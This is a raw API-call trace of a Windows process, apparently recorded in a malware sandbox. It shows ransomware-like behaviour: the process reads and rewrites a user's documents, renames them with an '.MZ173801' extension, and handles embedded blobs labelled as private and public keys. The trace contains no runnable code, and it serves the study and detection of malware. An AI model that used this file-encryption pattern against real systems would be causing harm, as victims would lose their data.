lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0171.231] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\zkcrT -8SHIvOP_POgOU\\Kbg6SBTSjJvSFEUP4JMP.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\zkcrt -8shivop_pogou\\kbg6sbtsjjvsfeup4jmp.pptx"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31f8da0, ftCreationTime.dwHighDateTime=0x1d5ecfb, ftLastAccessTime.dwLowDateTime=0x33487cf0, ftLastAccessTime.dwHighDateTime=0x1d5f031, ftLastWriteTime.dwLowDateTime=0x33487cf0, ftLastWriteTime.dwHighDateTime=0x1d5f031, nFileSizeHigh=0x0, nFileSizeLow=0xc247)) returned 1 [0171.232] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\zkcrT -8SHIvOP_POgOU\\Kbg6SBTSjJvSFEUP4JMP.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\zkcrt -8shivop_pogou\\kbg6sbtsjjvsfeup4jmp.pptx")) returned 0x20 [0171.232] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\zkcrT -8SHIvOP_POgOU\\Kbg6SBTSjJvSFEUP4JMP.pptx", dwFileAttributes=0x80) returned 1 [0171.469] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0171.469] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24aff6c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0171.470] GetCurrentThreadId () returned 0xab4 [0171.470] GetCurrentThreadId () returned 0xab4 [0171.470] GetCurrentThreadId () returned 0xab4 [0171.470] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0171.470] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24c0fcc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0171.471] GetCurrentThreadId () returned 0xab4 [0171.471] GetCurrentThreadId () returned 0xab4 [0171.471] GetCurrentThreadId () returned 0xab4 [0171.471] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\zkcrT -8SHIvOP_POgOU\\Kbg6SBTSjJvSFEUP4JMP.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\zkcrt -8shivop_pogou\\kbg6sbtsjjvsfeup4jmp.pptx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0171.471] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0171.471] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0171.471] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0xc247 [0171.471] SetFilePointer (in: hFile=0x27c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0171.471] ReadFile (in: hFile=0x27c, lpBuffer=0x24c8dd0, nNumberOfBytesToRead=0xc247, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24c8dd0*, lpNumberOfBytesRead=0x19f480*=0xc247, lpOverlapped=0x0) returned 1 [0171.473] CloseHandle (hObject=0x27c) returned 1 [0171.474] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\zkcrT -8SHIvOP_POgOU\\Kbg6SBTSjJvSFEUP4JMP.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\zkcrt -8shivop_pogou\\kbg6sbtsjjvsfeup4jmp.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0171.475] WriteFile (in: hFile=0x27c, lpBuffer=0x24d6e00*, nNumberOfBytesToWrite=0xc247, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24d6e00*, lpNumberOfBytesWritten=0x19f48c*=0xc247, lpOverlapped=0x0) returned 1 [0171.477] CloseHandle (hObject=0x27c) returned 1 [0171.478] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\zkcrT -8SHIvOP_POgOU\\Kbg6SBTSjJvSFEUP4JMP.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\zkcrt -8shivop_pogou\\kbg6sbtsjjvsfeup4jmp.pptx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\zkcrT -8SHIvOP_POgOU\\Kbg6SBTSjJvSFEUP4JMP.pptx.MZ173801" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\zkcrt -8shivop_pogou\\kbg6sbtsjjvsfeup4jmp.pptx.mz173801")) returned 1 [0171.479] GetCurrentThreadId () returned 0xab4 [0171.479] GetCurrentThreadId () returned 0xab4 [0171.479] GetCurrentThreadId () returned 0xab4 [0171.479] GetCurrentThreadId () returned 0xab4 [0171.479] GetCurrentThreadId () returned 0xab4 [0171.479] GetCurrentThreadId () returned 0xab4 [0171.479] FindNextFileW (in: hFindFile=0xa1b818, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec6bcd80, ftCreationTime.dwHighDateTime=0x1d5e132, ftLastAccessTime.dwLowDateTime=0xa81b2bb0, ftLastAccessTime.dwHighDateTime=0x1d5e341, ftLastWriteTime.dwLowDateTime=0xa81b2bb0, ftLastWriteTime.dwHighDateTime=0x1d5e341, nFileSizeHigh=0x0, nFileSizeLow=0x186f8, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="KK_ T3p.docx", cAlternateFileName="KK_T3P~1.DOC")) returned 1 [0171.479] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0171.479] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0171.479] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\zkcrT -8SHIvOP_POgOU\\KK_ T3p.docx" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\zkcrt -8shivop_pogou\\kk_ t3p.docx"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec6bcd80, ftCreationTime.dwHighDateTime=0x1d5e132, ftLastAccessTime.dwLowDateTime=0xa81b2bb0, ftLastAccessTime.dwHighDateTime=0x1d5e341, ftLastWriteTime.dwLowDateTime=0xa81b2bb0, ftLastWriteTime.dwHighDateTime=0x1d5e341, nFileSizeHigh=0x0, nFileSizeLow=0x186f8)) returned 1 [0171.479] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\zkcrT -8SHIvOP_POgOU\\KK_ T3p.docx" (normalized: "c:\\users\\fd1hvy\\documents\\ilajjjl9bxofrg4vmuj\\zkcrt -8shivop_pogou\\kk_ t3p.docx")) returned 0x20 [0171.479] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\iLaJJJl9bXoFrg4vmuJ\\zkcrT -8SHIvOP_POgOU\\KK_ T3p.docx", dwFileAttributes=0x80) returned 1 [0171.481] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCr